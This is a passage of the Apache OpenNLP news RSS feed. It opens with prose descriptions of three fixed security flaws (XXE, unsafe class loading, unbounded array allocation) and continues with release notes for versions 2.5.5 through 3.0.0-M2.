&lt;p&gt;The &lt;code&gt;DictionaryEntryPersistor&lt;/code&gt; previously used a &lt;code&gt;SAXParserFactory&lt;/code&gt; that did not enable secure processing or disable DTD handling, leaving external entity resolution active. A malicious dictionary file could exploit this for &lt;strong&gt;local file disclosure&lt;/strong&gt; or &lt;strong&gt;SSRF&lt;/strong&gt; before any dictionary entry was processed.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The parsing path is now aligned with the project&amp;#8217;s existing &lt;code&gt;XmlUtil&lt;/code&gt; helper, which properly sets &lt;code&gt;FEATURE_SECURE_PROCESSING&lt;/code&gt; and &lt;code&gt;disallow-doctype-decl&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;arbitrary_class_instantiation_in_extensionloader_opennlp_1820_cve_2026_42027&quot;&gt;Arbitrary Class Instantiation in &lt;code&gt;ExtensionLoader&lt;/code&gt; (OPENNLP-1820, CVE-2026-42027)&lt;/h4&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;code&gt;ExtensionLoader.instantiateExtension()&lt;/code&gt; performed its &lt;code&gt;isAssignableFrom&lt;/code&gt; type check &lt;strong&gt;after&lt;/strong&gt; &lt;code&gt;Class.forName()&lt;/code&gt; had already executed the target class&amp;#8217;s static initializer, allowing a crafted model archive to trigger the static initializer of any class on the classpath.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The fix introduces a &lt;strong&gt;package-prefix allowlist&lt;/strong&gt; consulted before &lt;code&gt;Class.forName()&lt;/code&gt; is invoked:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Classes under &lt;code&gt;opennlp.*&lt;/code&gt; remain permitted by default.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Other packages must be opted in via &lt;code&gt;ExtensionLoader.registerAllowedPackage(String)&lt;/code&gt; or the &lt;code&gt;OPENNLP_EXT_ALLOWED_PACKAGES&lt;/code&gt; system property (comma-separated list).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;oom_via_unbounded_array_allocation_in_abstractmodelreader_opennlp_1821_cve_2026_42440&quot;&gt;OOM via Unbounded Array Allocation in &lt;code&gt;AbstractModelReader&lt;/code&gt; (OPENNLP-1821, CVE-2026-42440)&lt;/h4&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;code&gt;getOutcomes()&lt;/code&gt;, &lt;code&gt;getOutcomePatterns()&lt;/code&gt;, and &lt;code&gt;getPredicates()&lt;/code&gt; read attacker-controlled 32-bit count fields from binary model streams and passed them directly to array allocations. A crafted &lt;code&gt;.bin&lt;/code&gt; file could trigger an immediate &lt;code&gt;OutOfMemoryError&lt;/code&gt; and crash the JVM.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Each count is now bounded (default &lt;strong&gt;10,000,000&lt;/strong&gt;, configurable via &lt;code&gt;-DOPENNLP_MAX_ENTRIES=&amp;lt;n&amp;gt;&lt;/code&gt;), with negative or oversized values failing fast via &lt;code&gt;IllegalArgumentException&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;admonitionblock warning&quot;&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td class=&quot;icon&quot;&gt;
&lt;div class=&quot;title&quot;&gt;Warning&lt;/div&gt;
&lt;/td&gt;
&lt;td class=&quot;content&quot;&gt;
For all three issues, users who cannot upgrade immediately should restrict input (dictionary and model files) to &lt;strong&gt;trusted sources only&lt;/strong&gt;.
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;new_features_and_improvements&quot;&gt;New Features and Improvements&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Roberta-based model support via ONNX (OPENNLP-1518)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Byte Pair Encoding (BPE) tokenization (OPENNLP-1220)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Parse.createFromTokens()&lt;/code&gt; convenience method for tokenized input (OPENNLP-53)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Thread-safe ME classes by eliminating shared mutable instance state (OPENNLP-1816)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dependency_updates&quot;&gt;Dependency Updates&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update log4j2 to 2.25.4 (OPENNLP-1817)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update zlibsvm-core to 3.0.0 (OPENNLP-1818)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update ONNX runtime to 1.25.0 (OPENNLP-1822)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12356813&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.8 released</title>
      <link>https://opennlp.apache.org/news/release-258.html</link>
      <pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-258.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.8.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.8 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_8&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.8&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Summary:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Bug Fixes:&lt;/p&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The SentenceDetector got three fixes in handling edge cases with abbreviation dictionaries (OPENNLP-1809, OPENNLP-1810, OPENNLP-1811) - NOTE: These fixes have been back-ported to OpenNLP 2.5.8.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Improvements:&lt;/p&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The OpenNLP developer manual (HTML + PDF) got an uplift for the UIMA documentation part, being largely extended (OPENNLP-49)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Some updates of dependencies&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12356577&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 3.0.0-M2 released</title>
      <link>https://opennlp.apache.org/news/release-300-M2.html</link>
      <pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-300-M2.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 3.0.0-M2.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 3.0.0-M2 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new&quot;&gt;What&amp;#8217;s new&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The 3.x release line of Apache OpenNLP introduces no known breaking changes while significantly modularizing the project to improve library usage and future extensibility.
The core API remains stable and fully compatible with 2.x, so existing projects can continue using the opennlp-tools artifact without modifications.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Key Highlights and Recommendations:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Notable Changes:&lt;/p&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The minimum Java compiler level was raised to &lt;strong&gt;21&lt;/strong&gt; (OPENNLP-1735)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The artifact &apos;opennlp-models&apos; was renamed to &apos;opennlp-model-resolver&apos;. It can be used to detect and load OpenNLP compliant models from the classpath (OPENNLP-1807)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;New Features:&lt;/p&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Apache OpenNLP can now detect sentiment from text (OPENNLP-855)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The eval corpus format for GermEval2014 is now supported (OPENNLP-976)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Document Categorization is now possible via a binding to LibSVM (OPENNLP-1808)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bug Fixes:&lt;/p&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The SentenceDetector got three fixes in handling edge cases with abbreviation dictionaries (OPENNLP-1809, OPENNLP-1810, OPENNLP-1811) - NOTE: These fixes have been back-ported to OpenNLP 2.5.8.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Improvements:&lt;/p&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Language Codes passed in are now stricter validated to comply with ISO-693 standard (OPENNLP-991)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The OpenNLP developer manual (HTML + PDF) got an uplift for the UIMA documentation part, being largely extended (OPENNLP-49)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12356724&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;migrating_from_2_x_to_3_x&quot;&gt;Migrating from 2.x to 3.x&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The 3.x release line of Apache OpenNLP upgrades the compiler level to Java 21 and modularizes the project for better usage as a library and to support future extensibility. The core API remains stable and compatible with 2.x, but the project structure has been reorganized into multiple modules.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;That means, that you can continue to use the previous opennlp-tools artifact as a dependency. However, we strongly recommend to switch to the new modular structure and import only the components you need, which will result in a smaller dependency footprint.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Only opennlp-runtime needs to be added as a dependency, and you can add additional modules (e.g. opennlp-ml-maxent, opennlp-models, etc.) as required by your project. For users of the traditional CLI toolkit, nothing changes with the 3.x release line. CLI usage remains stable&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 3.0.0-M1 released</title>
      <link>https://opennlp.apache.org/news/release-300-M1.html</link>
      <pubDate>Mon, 23 Feb 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-300-M1.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 3.0.0-M1.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 3.0.0-M1 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_3_0_0_m1&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 3.0.0-M1&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The 3.x release line of Apache OpenNLP introduces no known breaking changes while significantly modularizing the project to improve library usage and future extensibility.
The core API remains stable and fully compatible with 2.x, so existing projects can continue using the opennlp-tools artifact without modifications.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Key Highlights and Recommendations:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Modularization: The project is now organized into multiple modules:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;opennlp-api, opennlp-core, opennlp-cli, opennlp-extensions, ML modules (e.g., opennlp-ml-maxent, opennlp-ml-perceptron), and more.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Users can include only the modules needed, reducing dependency footprint.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Only opennlp-runtime is mandatory for basic functionality.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CLI Stability: Existing command-line usage remains unchanged.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12355662&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;migrating_from_2_x_to_3_x&quot;&gt;Migrating from 2.x to 3.x&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The 3.x release line of Apache OpenNLP introduces no known breaking changes but modularizes the project for better usage as a library and to support future extensibility. The core API remains stable and compatible with 2.x, but the project structure has been reorganized into multiple modules.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;That means, that you can continue to use the previous opennlp-tools artifact as a dependency. However, we strongly recommend to switch to the new modular structure and import only the components you need, which will result in a smaller dependency footprint.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Only opennlp-runtime needs to be added as a dependency, and you can add additional modules (e.g. opennlp-ml-maxent, opennlp-models, etc.) as required by your project. For users of the traditional CLI toolkit, nothing changes with the 3.x release line. CLI usage remains stable&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.7 released</title>
      <link>https://opennlp.apache.org/news/release-257.html</link>
      <pubDate>Thu, 11 Dec 2025 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-257.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.7.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.7 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_7&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.7&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The release includes an updated project logo, improvements to version parsing and XML handling (on Android), and several dependency upgrades.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12356333&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.6.1 released</title>
      <link>https://opennlp.apache.org/news/release-2561.html</link>
      <pubDate>Mon, 20 Oct 2025 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-2561.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.6.1.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.6.1 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_6_1&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.6.1&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release fixes a regression in 2.5.6 related to sentence detection with an abbreviation dictionary.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12356312&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.6 released</title>
      <link>https://opennlp.apache.org/news/release-256.html</link>
      <pubDate>Sun, 12 Oct 2025 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-256.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.6.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.6 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_6&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.6&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;In total, this release tackles 12 issues and brings dependency updates and 1 bug fix (OPENNLP-1767).
The 2.5.6 release relies on version 1.3 of the &lt;a href=&quot;https://github.com/apache/opennlp-models&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;opennlp-models&lt;/a&gt;, providing access to pre-trained models for a total of 36 languages.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12355253&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.5 released</title>
      <link>https://opennlp.apache.org/news/release-255.html</link>
      <pubDate>Wed, 23 Jul 2025 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-255.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.5.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.5 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
